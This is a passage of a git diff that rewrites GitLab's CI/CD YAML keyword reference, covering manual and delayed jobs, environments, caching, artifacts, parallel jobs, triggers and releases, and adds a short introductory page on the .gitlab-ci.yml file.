execute job manually (added in GitLab 8.10). Read about - [manual jobs](#whenmanual) below. -1. `delayed` - execute job after a certain period (added in GitLab 11.14). - Read about [delayed jobs](#whendelayed) below. +1. `on_success` (default) - Execute job only when all jobs in earlier stages succeed, + or are considered successful because they have `allow_failure: true`. +1. `on_failure` - Execute job only when at least one job in an earlier stage fails. +1. `always` - Execute job regardless of the status of jobs in earlier stages. +1. `manual` - Execute job [manually](#whenmanual). +1. `delayed` - [Delay the execution of a job](#whendelayed) for a specified duration. + Added in GitLab 11.14. 1. `never`: - With [`rules`](#rules), don't execute job. - With [`workflow:rules`](#workflowrules), don't run pipeline. @@ -2280,10 +2336,6 @@ The above script: #### `when:manual` -> - Introduced in GitLab 8.10. -> - Blocking manual jobs were introduced in GitLab 9.0. -> - Protected actions were introduced in GitLab 9.2. - A manual job is a type of job that is not executed automatically and must be explicitly started by a user. You might want to use manual jobs for things like deploying to production. @@ -2316,21 +2368,17 @@ You can use [protected branches](../../user/project/protected_branches.md) to mo In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/201938) and later, you can use `when:manual` in the same job as [`trigger`](#trigger). In GitLab 13.4 and earlier, using them together causes the error `jobs:#{job-name} when should be on_success, on_failure or always`. -It is deployed behind the `:ci_manual_bridges` [feature flag](../../user/feature_flags.md), which is **enabled by default**. -[GitLab administrators with access to the Rails console](../../administration/feature_flags.md) -can opt to disable it. ##### Protecting manual jobs **(PREMIUM)** -It's possible to use [protected environments](../environments/protected_environments.md) -to define a precise list of users authorized to run a manual job. By allowing only -users associated with a protected environment to trigger manual jobs, it's possible -to implement some special use cases, such as: +Use [protected environments](../environments/protected_environments.md) +to define a list of users authorized to run a manual job. You can authorize only +the users associated with a protected environment to trigger manual jobs, which can: -- More precisely limiting who can deploy to an environment. -- Enabling a pipeline to be blocked until an approved user "approves" it. +- More precisely limit who can deploy to an environment. +- Block a pipeline until an approved user "approves" it. -To do this, you must: +To protect a manual job: 1. Add an `environment` to the job. For example: @@ -2353,17 +2401,17 @@ To do this, you must: this list can trigger this manual job, as well as GitLab administrators who are always able to use protected environments. -Additionally, if you define a manual job as blocking by adding `allow_failure: false`, -the pipeline's next stages don't run until the manual job is triggered. You can use this -to define a list of users allowed to "approve" later pipeline -stages by triggering the blocking manual job. +You can use protected environments with blocking manual jobs to have a list of users +allowed to approve later pipeline stages. Add `allow_failure: false` to the protected +manual job and the pipeline's next stages only run after the manual job is triggered +by authorized users. #### `when:delayed` > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/51352) in GitLab 11.4. -Delayed job are for executing scripts after a certain period. -This is useful if you want to avoid jobs entering `pending` state immediately. +Use `when: delayed` to execute scripts after a waiting period, or if you want to avoid +jobs immediately entering the `pending` state. You can set the period with `start_in` key. The value of `start_in` key is an elapsed time in seconds, unless a unit is provided. `start_in` key must be less than or equal to one week. Examples of valid values include: @@ -2375,7 +2423,7 @@ provided. `start_in` key must be less than or equal to one week. Examples of val - `1 week` When there is a delayed job in a stage, the pipeline doesn't progress until the delayed job has finished. -This means this keyword can also be used for inserting delays between different stages. +This keyword can also be used for inserting delays between different stages. The timer of a delayed job starts immediately after the previous stage has completed. Similar to other types of jobs, a delayed job's timer doesn't start unless the previous stage passed. @@ -2398,11 +2446,7 @@ Soon GitLab Runner picks up and starts the job. ### `environment` -> - Introduced in GitLab 8.9. -> - You can read more about environments and find more examples in the -> [documentation about environments](../environments/index.md). - -`environment` is used to define that a job deploys to a specific environment. +Use `environment` to define the [environment](../environments/index.md) that a job deploys to. If `environment` is specified and no environment under that name exists, a new one is created automatically. @@ -2420,13 +2464,10 @@ deployment to the `production` environment. #### `environment:name` -> - Introduced in GitLab 8.11. -> - Before GitLab 8.11, the name of an environment could be defined as a string like -> `environment: production`. The recommended way now is to define it under the -> `name` keyword. -> - The `name` keyword can use any of the defined CI variables, -> including predefined, secure variables and `.gitlab-ci.yml` [`variables`](#variables). -> You however can't use variables defined under `script`. +The `environment: name` keyword can use any of the defined CI variables, +including predefined, secure, or `.gitlab-ci.yml` [`variables`](#variables). + +You can't use variables defined in a `script` section. The `environment` name can contain: @@ -2457,12 +2498,10 @@ deploy to production: #### `environment:url` -> - Introduced in GitLab 8.11. -> - Before GitLab 8.11, the URL could be added only in GitLab's UI. The -> recommended way now is to define it in `.gitlab-ci.yml`. -> - The `url` keyword can use any of the defined CI variables, -> including predefined, secure variables and `.gitlab-ci.yml` [`variables`](#variables). -> You however can't use variables defined under `script`. +The `url` keyword can use any of the defined CI variables, +including predefined, secure, or `.gitlab-ci.yml` [`variables`](#variables). + +You can't use variables defined in a `script` section. This optional value exposes buttons that take you to the defined URL @@ -2531,15 +2570,15 @@ environment. A new `stop_review_app` job is listed under `on_stop`. After the `review_app` job is finished, it triggers the `stop_review_app` job based on what is defined under `when`. In this case, it is set to `manual`, so it needs a [manual action](#whenmanual) from -GitLab's user interface to run. +the GitLab UI to run. Also in the example, `GIT_STRATEGY` is set to `none`. If the `stop_review_app` job is [automatically triggered](../environments/index.md#automatically-stopping-an-environment), the runner won’t try to check out the code after the branch is deleted. The example also overwrites global variables. If your `stop` `environment` job depends -on global variables, you can use [anchor variables](#yaml-anchors-for-variables) when you set the `GIT_STRATEGY`. -This changes the job without overriding the global variables. +on global variables, use [anchor variables](#yaml-anchors-for-variables) when you set the `GIT_STRATEGY` +to change the job without overriding the global variables. The `stop_review_app` job is **required** to have the following keywords defined: @@ -2604,7 +2643,7 @@ environment, using the `production` For more information, see [Available settings for `kubernetes`](../environments/index.md#configuring-kubernetes-deployments). -NOTE: **Note:** +NOTE: Kubernetes configuration is not supported for Kubernetes clusters that are [managed by GitLab](../../user/project/clusters/index.md#gitlab-managed-clusters). To follow progress on support for GitLab-managed clusters, see the @@ -2612,11 +2651,7 @@ To follow progress on support for GitLab-managed clusters, see the #### Dynamic environments -> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/21971) in GitLab 8.12 and GitLab Runner 1.6. -> - The `$CI_ENVIRONMENT_SLUG` was [introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/22864) in GitLab 8.15. -> - The `name` and `url` keywords can use any of the defined CI variables, -> including predefined, secure variables and `.gitlab-ci.yml` [`variables`](#variables). -> You however can't use variables defined under `script`. +Use CI/CD [variables](../variables/README.md) to dynamically name environments. For example: @@ -2629,36 +2664,27 @@ deploy as review app: url: https://$CI_ENVIRONMENT_SLUG.example.com/ ``` -The `deploy as review app` job is marked as deployment to dynamically -create the `review/$CI_COMMIT_REF_NAME` environment, where `$CI_COMMIT_REF_NAME` +The `deploy as review app` job is marked as a deployment to dynamically +create the `review/$CI_COMMIT_REF_NAME` environment. `$CI_COMMIT_REF_NAME` is an [environment variable](../variables/README.md) set by the runner. The `$CI_ENVIRONMENT_SLUG` variable is based on the environment name, but suitable -for inclusion in URLs. In this case, if the `deploy as review app` job is run -in a branch named `pow`, this environment would be accessible with an URL like -`https://review-pow.example.com/`. - -This implies that the underlying server that hosts the application -is properly configured. +for inclusion in URLs. If the `deploy as review app` job runs in a branch named +`pow`, this environment would be accessible with a URL like `https://review-pow.example.com/`. The common use case is to create dynamic environments for branches and use them -as Review Apps. You can see a simple example using Review Apps at +as Review Apps. You can see an example that uses Review Apps at <https://gitlab.com/gitlab-examples/review-apps-nginx/>. ### `cache` -> - Introduced in GitLab Runner v0.7.0. -> - `cache` can be set globally and per-job. -> - From GitLab 9.0, caching is enabled and shared between pipelines and jobs -> by default. -> - From GitLab 9.2, caches are restored before [artifacts](#artifacts). - `cache` is used to specify a list of files and directories that should be -cached between jobs. You can only use paths that are within the local working -copy. +cached between jobs. You can only use paths that are in the local working copy. If `cache` is defined outside the scope of jobs, it means it's set globally and all jobs use that definition. +Caching is shared between pipelines and jobs. Caches are restored before [artifacts](#artifacts). + Read how caching works and find out some good practices in the [caching dependencies documentation](../caching/index.md). @@ -2707,17 +2733,15 @@ Otherwise cache content can be overwritten. #### `cache:key` -> Introduced in GitLab Runner v1.0.0. - The `key` keyword defines the affinity of caching between jobs. You can have a single cache for all jobs, cache per-job, cache per-branch, -or any other way that fits your workflow. This way, you can fine tune caching, +or any other way that fits your workflow. You can fine tune caching, including caching data between different jobs or even different branches. The `cache:key` variable can use any of the [predefined variables](../variables/README.md). The default key, if not set, is just literal `default`, which means everything is shared between -pipelines and jobs by default, starting from GitLab 9.0. +pipelines and jobs by default. For example, to enable per-branch caching: @@ -2810,7 +2834,7 @@ If neither file was changed in any commits, the prefix is added to `default`, so key in the example would be `test-default`. Like `cache:key`, `prefix` can use any of the [predefined variables](../variables/README.md), -but the following are not allowed: +but cannot include: - the `/` character (or the equivalent URI-encoded `%2F`) - a value made only of `.` (or the equivalent URI-encoded `%2E`) @@ -2867,9 +2891,9 @@ rspec: `cache:when` defines when to save the cache, based on the status of the job. You can set `cache:when` to: -- `on_success` - save the cache only when the job succeeds. This is the default. -- `on_failure` - save the cache only when the job fails. -- `always` - save the cache regardless of the job status. +- `on_success` (default): Save the cache only when the job succeeds. +- `on_failure`: Save the cache only when the job fails. +- `always`: Always save the cache. For example, to store a cache whether or not the job fails or succeeds: @@ -2884,17 +2908,14 @@ rspec: #### `cache:policy` -> Introduced in GitLab 9.4. - The default behavior of a caching job is to download the files at the start of execution, and to re-upload them at the end. Any changes made by the job are persisted for future runs. This behavior is known as the `pull-push` cache policy. If you know the job does not alter the cached files, you can skip the upload step -by setting `policy: pull` in the job specification. Typically, this would be -twinned with an ordinary cache job at an earlier stage to ensure the cache -is updated from time to time: +by setting `policy: pull` in the job specification. You can add an ordinary cache +job at an earlier stage to ensure the cache is updated from time to time: ```yaml stages: @@ -2921,9 +2942,8 @@ rspec: - bundle exec rspec ... ``` -This helps to speed up job execution and reduce load on the cache server. -It is especially helpful when you have a large number of cache-using jobs executing in -parallel. +The `pull` policy speeds up job execution and reduces load on the cache server. It +can be used when you have many jobs that use caches executing in parallel. If you have a job that unconditionally recreates the cache without referring to its previous contents, you can skip the download step. @@ -2931,12 +2951,6 @@ To do so, add `policy: push` to the job. ### `artifacts` -> - Introduced in GitLab Runner v0.7.0 for non-Windows platforms. -> - Windows support was added in GitLab Runner v.1.0.0. -> - From GitLab 9.2, caches are restored before artifacts. -> - Not all executors are [supported](https://docs.gitlab.com/runner/executors/#compatibility-chart). -> - Job artifacts are only collected for successful jobs by default. - `artifacts` is used to specify a list of files and directories that are attached to the job when it [succeeds, fails, or always](#artifactswhen). @@ -2944,6 +2958,11 @@ The artifacts are sent to GitLab after the job finishes. They are available for download in the GitLab UI if the size is not larger than the [maximum artifact size](../../user/gitlab_com/index.md#gitlab-cicd). +Job artifacts are only collected for successful jobs by default, and +artifacts are restored after [caches](#cache). + +[Not all executors can use caches](https://docs.gitlab.com/runner/executors/#compatibility-chart). + [Read more about artifacts](../pipelines/job_artifacts.md). #### `artifacts:paths` @@ -3079,11 +3098,8 @@ Note the following: #### `artifacts:name` -> Introduced in GitLab 8.6 and GitLab Runner v1.1.0. - Use the `name` directive to define the name of the created artifacts -archive. You can specify a unique name for every archive, which can be -useful when you want to download the archive from GitLab. The `artifacts:name` +archive. You can specify a unique name for every archive. The `artifacts:name` variable can make use of any of the [predefined variables](../variables/README.md). The default name is `artifacts`, which becomes `artifacts.zip` when you download it. @@ -3190,16 +3206,14 @@ artifacts: #### `artifacts:when` -> Introduced in GitLab 8.9 and GitLab Runner v1.3.0. - `artifacts:when` is used to upload artifacts on job failure or despite the failure. `artifacts:when` can be set to one of the following values: -1. `on_success` - upload artifacts only when the job succeeds. This is the default. -1. `on_failure` - upload artifacts only when the job fails. -1. `always` - upload artifacts regardless of the job status. +1. `on_success` (default): Upload artifacts only when the job succeeds. +1. `on_failure`: Upload artifacts only when the job fails. +1. `always`: Always upload artifacts. For example, to upload artifacts only when a job fails: @@ -3211,8 +3225,6 @@ job: #### `artifacts:expire_in` -> Introduced in GitLab 8.9 and GitLab Runner v1.3.0. - Use `expire_in` to specify how long artifacts are active before they expire and are deleted. @@ -3260,31 +3272,29 @@ in GitLab 13.4. The [`artifacts:reports` keyword](../pipelines/job_artifacts.md#artifactsreports) is used for collecting test reports, code quality reports, and security reports from jobs. -It also exposes these reports in GitLab's UI (merge requests, pipeline views, and security dashboards). +It also exposes these reports in the GitLab UI (merge requests, pipeline views, and security dashboards). These are the available report types: -| Keyword | Description | -|--------------------------------------------------------------------------------------------------------------------------------------|-------------| -| [`artifacts:reports:cobertura`](../pipelines/job_artifacts.md#artifactsreportscobertura) | The `cobertura` report collects Cobertura coverage XML files. | -| [`artifacts:reports:codequality`](../pipelines/job_artifacts.md#artifactsreportscodequality) | The `codequality` report collects CodeQuality issues. | +| Keyword | Description | +|-----------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------| +| [`artifacts:reports:cobertura`](../pipelines/job_artifacts.md#artifactsreportscobertura) | The `cobertura` report collects Cobertura coverage XML files. | +| [`artifacts:reports:codequality`](../pipelines/job_artifacts.md#artifactsreportscodequality) | The `codequality` report collects CodeQuality issues. | | [`artifacts:reports:container_scanning`](../pipelines/job_artifacts.md#artifactsreportscontainer_scanning) **(ULTIMATE)** | The `container_scanning` report collects Container Scanning vulnerabilities. | | [`artifacts:reports:dast`](../pipelines/job_artifacts.md#artifactsreportsdast) **(ULTIMATE)** | The `dast` report collects Dynamic Application Security Testing vulnerabilities. | | [`artifacts:reports:dependency_scanning`](../pipelines/job_artifacts.md#artifactsreportsdependency_scanning) **(ULTIMATE)** | The `dependency_scanning` report collects Dependency Scanning vulnerabilities. | -| [`artifacts:reports:dotenv`](../pipelines/job_artifacts.md#artifactsreportsdotenv) | The `dotenv` report collects a set of environment variables. | -| [`artifacts:reports:junit`](../pipelines/job_artifacts.md#artifactsreportsjunit) | The `junit` report collects JUnit XML files. | +| [`artifacts:reports:dotenv`](../pipelines/job_artifacts.md#artifactsreportsdotenv) | The `dotenv` report collects a set of environment variables. | +| [`artifacts:reports:junit`](../pipelines/job_artifacts.md#artifactsreportsjunit) | The `junit` report collects JUnit XML files. | | [`artifacts:reports:license_management`](../pipelines/job_artifacts.md#artifactsreportslicense_management) **(ULTIMATE)** | The `license_management` report collects Licenses (*removed from GitLab 13.0*). | | [`artifacts:reports:license_scanning`](../pipelines/job_artifacts.md#artifactsreportslicense_scanning) **(ULTIMATE)** | The `license_scanning` report collects Licenses. | -| [`artifacts:reports:load_performance`](../pipelines/job_artifacts.md#artifactsreportsload_performance) **(PREMIUM)** | The `load_performance` report collects load performance metrics. | -| [`artifacts:reports:metrics`](../pipelines/job_artifacts.md#artifactsreportsmetrics) **(PREMIUM)** | The `metrics` report collects Metrics. | -| [`artifacts:reports:performance`](../pipelines/job_artifacts.md#artifactsreportsperformance) **(PREMIUM)** | The `performance` report collects Browser Performance metrics. | +| [`artifacts:reports:load_performance`](../pipelines/job_artifacts.md#artifactsreportsload_performance) **(PREMIUM)** | The `load_performance` report collects load performance metrics. | +| [`artifacts:reports:metrics`](../pipelines/job_artifacts.md#artifactsreportsmetrics) **(PREMIUM)** | The `metrics` report collects Metrics. | +| [`artifacts:reports:performance`](../pipelines/job_artifacts.md#artifactsreportsperformance) **(PREMIUM)** | The `performance` report collects Browser Performance metrics. | | [`artifacts:reports:sast`](../pipelines/job_artifacts.md#artifactsreportssast) **(ULTIMATE)** | The `sast` report collects Static Application Security Testing vulnerabilities. | -| [`artifacts:reports:terraform`](../pipelines/job_artifacts.md#artifactsreportsterraform) | The `terraform` report collects Terraform `tfplan.json` files. | +| [`artifacts:reports:terraform`](../pipelines/job_artifacts.md#artifactsreportsterraform) | The `terraform` report collects Terraform `tfplan.json` files. | #### `dependencies` -> Introduced in GitLab 8.6 and GitLab Runner v1.1.1. - By default, all [`artifacts`](#artifacts) from previous [stages](#stages) are passed to each job. However, you can use the `dependencies` keyword to define a limited list of jobs to fetch artifacts from. You can also set a job to download no artifacts at all. @@ -3355,8 +3365,6 @@ and bring back the old behavior. ### `coverage` -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/20428) in GitLab 8.17. - Use `coverage` to configure how code coverage is extracted from the job output. @@ -3365,7 +3373,7 @@ surrounding `/` is mandatory to consistently and explicitly represent a regular expression string. You must escape special characters if you want to match them literally. -A simple example: +For example: ```yaml job1: @@ -3373,6 +3381,11 @@ job1: coverage: '/Code coverage: \d+\.\d+/' ``` +The coverage is shown in the UI if at least one line in the job output matches the regular expression. +If there is more than one matched line in the job output, the last line is used. +For the matched line, the first occurence of `\d+(\.\d+)?` is the code coverage. +Leading zeros are removed. + ### `retry` > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/3442) in GitLab 9.5. @@ -3435,7 +3448,7 @@ Possible values for `when` are: The test there makes sure that all documented values are valid as a configuration option and therefore should always stay in sync with this documentation. - --> +--> - `always`: Retry on any failure (default). - `unknown_failure`: Retry when the failure reason is unknown. @@ -3478,16 +3491,11 @@ exceed the runner-specific timeout. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/21480) in GitLab 11.5. -Use `parallel` to configure how many instances of a job to run in -parallel. This value can be from 2 to 50. +Use `parallel` to configure how many instances of a job to run in parallel. +The value can be from 2 to 50. -This creates N instances of the same job that run in parallel. They are named -sequentially from `job_name 1/N` to `job_name N/N`. - -For every job, `CI_NODE_INDEX` and `CI_NODE_TOTAL` [environment variables](../variables/README.md#predefined-environment-variables) are set. - -Marking a job to be run in parallel requires adding `parallel` to your configuration -file. For example: +The `parallel` keyword creates N instances of the same job that run in parallel. +They are named sequentially from `job_name 1/N` to `job_name N/N`: ```yaml test: @@ -3495,10 +3503,12 @@ test: parallel: 5 ``` -Parallelize tests suites across parallel jobs. -Different languages have different tools to facilitate this. +Every parallel job has a `CI_NODE_INDEX` and `CI_NODE_TOTAL` +[environment variable](../variables/README.md#predefined-environment-variables) set. -A simple example using [Semaphore Test Boosters](https://github.com/renderedtext/test-boosters) and RSpec to run some Ruby tests: +Different languages and test suites have different methods to enable parallelization. +For example, use [Semaphore Test Boosters](https://github.com/renderedtext/test-boosters) +and RSpec to run Ruby tests in parallel: ```ruby # Gemfile @@ -3516,8 +3526,8 @@ test: - bundle exec rspec_booster --job $CI_NODE_INDEX/$CI_NODE_TOTAL ``` -CAUTION: **Caution:** -Please be aware that semaphore_test_boosters reports usages statistics to the author. +WARNING: +Test Boosters reports usage statistics to the author. You can then navigate to the **Jobs** tab of a new pipeline build and see your RSpec job split into three separate jobs. @@ -3529,6 +3539,9 @@ job split into three separate jobs. Use `matrix:` to configure different variables for jobs that are running in parallel. There can be from 2 to 50 jobs. +Jobs can only run in parallel if there are multiple runners, or a single runner is +[configured to run multiple jobs concurrently](#using-your-own-runners). + [In GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/26362) and later, you can have one-dimensional matrices with a single job. @@ -3552,7 +3565,8 @@ deploystacks: STACK: [data, processing] ``` -This generates 10 parallel `deploystacks` jobs, each with different values for `PROVIDER` and `STACK`: +This example generates 10 parallel `deploystacks` jobs, each with different values +for `PROVIDER` and `STACK`: ```plaintext deploystacks: [aws, monitoring] @@ -3567,7 +3581,7 @@ deploystacks: [vultr, data] deploystacks: [vultr, processing] ``` -Job naming style [was improved](https://gitlab.com/gitlab-org/gitlab/-/issues/230452) in GitLab 13.4. +The job naming style was [improved in GitLab 13.4](https://gitlab.com/gitlab-org/gitlab/-/issues/230452). ### `trigger` @@ -3593,13 +3607,11 @@ hover over the downstream pipeline job. In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/201938) and later, you can use [`when:manual`](#whenmanual) in the same job as `trigger`. In GitLab 13.4 and earlier, using them together causes the error `jobs:#{job-name} when should be on_success, on_failure or always`. -It is deployed behind the `:ci_manual_bridges` [feature flag](../../user/feature_flags.md), which is **enabled by default**. -[GitLab administrators with access to the Rails console](../../administration/feature_flags.md) -can opt to disable it. +You [cannot start `manual` trigger jobs with the API](https://gitlab.com/gitlab-org/gitlab/-/issues/284086). -#### Simple `trigger` syntax for multi-project pipelines +#### Basic `trigger` syntax for multi-project pipelines -The simplest way to configure a downstream trigger is to use `trigger` keyword +You can configure a downstream trigger by using the `trigger` keyword with a full path to a downstream project: ```yaml @@ -3746,20 +3758,20 @@ The trigger token is different than the [`trigger`](#trigger) keyword. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32022) in GitLab 12.3. -`interruptible` is used to indicate that a job should be canceled if made redundant by a newer pipeline run. Defaults to `false`. +`interruptible` is used to indicate that a running job should be canceled if made redundant by a newer pipeline run. +Defaults to `false` (uninterruptible). Jobs that have not started yet (pending) are considered interruptible +and safe to be cancelled. This value is used only if the [automatic cancellation of redundant pipelines feature](../pipelines/settings.md#auto-cancel-pending-pipelines) is enabled. -When enabled, a pipeline on the same branch is canceled when: +When enabled, a pipeline is immediately canceled when a new pipeline starts on the same branch if either of the following is true: -- It's made redundant by a newer pipeline run. -- Either all jobs are set as interruptible, or any uninterruptible jobs haven't started. +- All jobs in the pipeline are set as interruptible. +- Any uninterruptible jobs have not started yet. Set jobs as interruptible that can be safely canceled once started (for instance, a build job). -Pending jobs are always considered interruptible. - -Here is a simple example: +For example: ```yaml stages: @@ -3790,7 +3802,7 @@ In the example above, a new pipeline run causes an existing running pipeline to - Canceled, if only `step-1` is running or pending. - Not canceled, once `step-2` starts running. -When an uninterruptible job is running, the pipeline can never be canceled, regardless of the final job's state. +When an uninterruptible job is running, the pipeline cannot be canceled, regardless of the final job's state. ### `resource_group` @@ -3809,7 +3821,7 @@ If multiple jobs belonging to the same resource group are enqueued simultaneousl only one of the jobs is picked by the runner. The other jobs wait until the `resource_group` is free. -Here is a simple example: +For example: ```yaml deploy-to-production: @@ -3820,8 +3832,8 @@ deploy-to-production: In this case, two `deploy-to-production` jobs in two separate pipelines can never run at the same time. As a result, you can ensure that concurrent deployments never happen to the production environment. -There can be multiple `resource_group`s defined per environment. A good use case for this -is when deploying to physical devices. You may have multiple physical devices that +You can define multiple resource groups per environment. For example, +when deploying to physical devices, you may have multiple physical devices. Each device can be deployed to, but there can be only one deployment per device at any given time. The `resource_group` value can only contain letters, digits, `-`, `_`, `/`, `$`, `{`, `}`, `.`, and spaces. @@ -3857,8 +3869,9 @@ image: registry.gitlab.com/gitlab-org/release-cli:latest #### Script -All jobs require a `script` tag at a minimum. A `:release` job can use the output of a -`:script` tag, but if this is not necessary, a placeholder script can be used, for example: +All jobs except [trigger](#trigger) jobs must have the `script` keyword. A `release` +job can use the output from script commands, but a placeholder script can be used if +the script is not needed: ```yaml script: @@ -3972,7 +3985,7 @@ tags. These options cannot be used together, so choose one: - To create a release automatically when commits are pushed or merged to the default branch, using a new Git tag that is defined with variables: - NOTE: **Note:** + NOTE: Environment variables set in `before_script` or `script` are not available for expanding in the same job. Read more about [potentially making variables available for expanding](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6400). @@ -4018,15 +4031,16 @@ tags. These options cannot be used together, so choose one: #### Release assets as Generic packages You can use [Generic packages](../../user/packages/generic_packages/) to host your release assets. -For a complete example of how to do this, see the [example in the repository](https://gitlab.com/gitlab-org/release-cli/-/tree/master/docs/examples/release-assets-as-generic-package/). +For a complete example, see the [Release assets as Generic packages](https://gitlab.com/gitlab-org/release-cli/-/tree/master/docs/examples/release-assets-as-generic-package/) +project. -#### `releaser-cli` command line +#### `release-cli` command line -The entries under the `:release` node are transformed into a `bash` command line and sent +The entries under the `release` node are transformed into a `bash` command line and sent to the Docker container, which contains the [release-cli](https://gitlab.com/gitlab-org/release-cli). You can also call the `release-cli` directly from a `script` entry. -The YAML described above would be translated into a CLI command like this: +For example, using the YAML described above: ```shell release-cli create --name "Release $CI_COMMIT_SHA" --description "Created using the release-cli $EXTRA_DESCRIPTION" --tag-name "v${MAJOR}.${MINOR}.${REVISION}" --ref "$CI_COMMIT_SHA" --released-at "2020-07-15T08:00:00Z" --milestone "m1" --milestone "m2" --milestone "m3" @@ -4090,7 +4104,7 @@ requirements below must be met: - Any static content must be placed under a `public/` directory. - `artifacts` with a path to the `public/` directory must be defined. -The example below simply moves all files from the root of the project to the +The example below moves all files from the root of the project to the `public/` directory. The `.public` workaround is so `cp` does not also copy `public/` to itself in an infinite loop: @@ -4150,7 +4164,7 @@ deploy_review_job: You can use only integers and strings for the variable's name and value. If you define a variable at the top level of the `gitlab-ci.yml` file, it is global, -meaning it applies to all jobs. If you define a variable within a job, it's available +meaning it applies to all jobs. If you define a variable in a job, it's available to that job only. If a variable of the same name is defined globally and for a specific job, the @@ -4190,8 +4204,6 @@ need to be used to merge arrays. ### Anchors -> Introduced in GitLab 8.6 and GitLab Runner v1.1.1. - YAML has a feature called 'anchors' that you can use to duplicate content across your document. @@ -4200,7 +4212,7 @@ to provide templates for your jobs. When there are duplicate keys, GitLab performs a reverse deep merge based on the keys. You can't use YAML anchors across multiple files when leveraging the [`include`](#include) -feature. Anchors are only valid within the file they were defined in. Instead +feature. Anchors are only valid in the file they were defined in. Instead of using YAML anchors, you can use the [`extends` keyword](#extends). The following example uses anchors and map merging. It creates two jobs, @@ -4227,7 +4239,7 @@ test2: `&` sets up the name of the anchor (`job_definition`), `<<` means "merge the given hash into the current one", and `*` includes the named anchor -(`job_definition` again). The expanded version looks like this: +(`job_definition` again). The expanded version of the example above is: ```yaml .job_template: @@ -4253,10 +4265,9 @@ test2: - test2 project ``` -Let's see another example. This time we use anchors to define two sets -of services. This configuration creates two jobs, `test:postgres` and `test:mysql`, that -share the `script` directive defined in `.job_template`, and the `services` -directive defined in `.postgres_services` and `.mysql_services` respectively: +You can use anchors to define two sets of services. For example, `test:postgres` +and `test:mysql` share the `script` defined in `.job_template`, but use different +`services`, defined in `.postgres_services` and `.mysql_services`: ```yaml .job_template: &job_definition @@ -4286,7 +4297,7 @@ test:mysql: services: *mysql_definition ``` -The expanded version looks like this: +The expanded version is: ```yaml .job_template: @@ -4336,27 +4347,27 @@ and [`after_script`](#after_script) to use predefined commands in multiple jobs: ```yaml .some-script: &some-script - - echo "Execute this in `before_script` sections" + - echo "Execute this script in `before_script` sections" .some-script-before: &some-script-before - - echo "Execute this in `script` sections" + - echo "Execute this script in `script` sections" .some-script-after: &some-script-after - - echo "Execute this in `after_script` sections" + - echo "Execute this script in `after_script` sections" job_name: before_script: - *some-script-before script: - *some-script - before_script: + after_script: - *some-script-after ``` #### YAML anchors for variables -[YAML anchors](#anchors) can be used with `variables`, to easily repeat assignment -of variables across multiple jobs. It can also enable more flexibility when a job +[YAML anchors](#anchors) can be used with `variables`, to repeat assignment +of variables across multiple jobs. Use can also use YAML anchors when a job requires a specific `variables` block that would otherwise override the global variables. In the example below, we override the `GIT_STRATEGY` variable without affecting @@ -4379,8 +4390,6 @@ job_no_git_strategy: ### Hide jobs -> Introduced in GitLab 8.6 and GitLab Runner v1.1.1. - If you want to temporarily 'disable' a job, rather than commenting out all the lines where the job is defined: @@ -4405,11 +4414,12 @@ into templates. ## Skip Pipeline -If your commit message contains `[ci skip]` or `[skip ci]`, using any -capitalization, the commit is created but the pipeline is skipped. +To push a commit without triggering a pipeline, add `[ci skip]` or `[skip ci]`, using any +capitalization, to your commit message. -Alternatively, one can pass the `ci.skip` [Git push option](../../user/project/push_options.md#push-options-for-gitlab-cicd) -if using Git 2.10 or newer. +Alternatively, if you are using Git 2.10 or later, use the `ci.skip` [Git push option](../../user/project/push_options.md#push-options-for-gitlab-cicd). +The `ci.skip` push option does not skip merge request +pipelines. ## Processing Git pushes @@ -4426,13 +4436,13 @@ The following keywords are deprecated. ### Globally-defined `types` -DANGER: **Deprecated:** +WARNING: `types` is deprecated, and could be removed in a future release. Use [`stages`](#stages) instead. ### Job-defined `type` -DANGER: **Deprecated:** +WARNING: `type` is deprecated, and could be removed in one of the future releases. Use [`stage`](#stage) instead. diff --git a/doc/ci/yaml/gitlab_ci_yaml.md b/doc/ci/yaml/gitlab_ci_yaml.md new file mode 100644 index 00000000000..602e02dbe6b --- /dev/null +++ b/doc/ci/yaml/gitlab_ci_yaml.md @@ -0,0 +1,89 @@ +--- +stage: Verify +group: Continuous Integration +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +type: reference +--- +<!-- markdownlint-disable MD044 --> +# The .gitlab-ci.yml file +<!-- markdownlint-enable MD044 --> + +To use GitLab CI/CD, you need: + +- Application code hosted in a Git repository. +- A file called [`.gitlab-ci.yml`](README.md) in the root of your repository, which + contains the CI/CD configuration. + +In the `.gitlab-ci.yml` file, you can define: + +- The scripts you want to run. +- Other configuration files and templates you want to include. +- Dependencies and caches. +- The commands you want to run in sequence and those you want to run in parallel. +- The location to deploy your application to. +- Whether you want to run the scripts automatically or trigger any of them manually. + +The scripts are grouped into **jobs**, and jobs run as part of a larger +**pipeline**. You can group multiple independent jobs into **stages** that run in a defined order. + +You should organize your jobs in a sequence that suits your application and is in accordance with +the tests you wish to perform. To [visualize](visualization.md) the process, imagine +the scripts you add to jobs are the same as CLI commands you run on your computer. + +When you add a `.gitlab-ci.yml` file to your +repository, GitLab detects it and an application called [GitLab Runner](https://docs.gitlab.com/runner/) +runs the scripts defined in the jobs. + +A `.gitlab-ci.yml` file might contain: + +```yaml +stages: + - build + - test + +build-code-job: + stage: build + script: + - echo "Check the ruby version, then build some Ruby project files:" + - ruby -v + - rake + +test-code-job1: + stage: test + script: + - echo "If the files are built successfully, test some files with one command:" + - rake test1 + +test-code-job2: + stage: test + script: + - echo "If the files are built successfully, test other files with a different command:" + - rake test2 +``` + +In this example, the `build-code-job` job in the `build` stage runs first. It outputs +the Ruby version the job is using, then runs `rake` to build project files. +If this job completes successfully, the two `test-code-job` jobs in the `test` stage start +in parallel and run tests on the files. + 